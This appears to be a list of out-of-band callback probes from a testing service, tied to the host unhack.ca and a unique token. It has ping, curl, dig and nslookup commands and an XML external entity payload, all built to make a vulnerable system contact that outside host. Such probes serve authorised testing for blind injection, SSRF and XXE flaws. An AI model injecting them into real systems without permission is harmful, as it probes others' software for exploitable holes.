$ ping -c1 -p 00fc6b575e4330d8ec077755f3b7a900 unhack.ca
$ curl http://unhack.ca/p/fc6b575e4330d8ec077755f3b7a9
$ dig fc6b575e4330d8ec077755f3b7a9 @unhack.ca
$ dig fc6b575e4330d8ec077755f3b7a9.ns.unhack.ca
C:\> nslookup fc6b575e4330d8ec077755f3b7a9 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/fc6b575e4330d8ec077755f3b7a9">]> <foo>&xxe;</foo>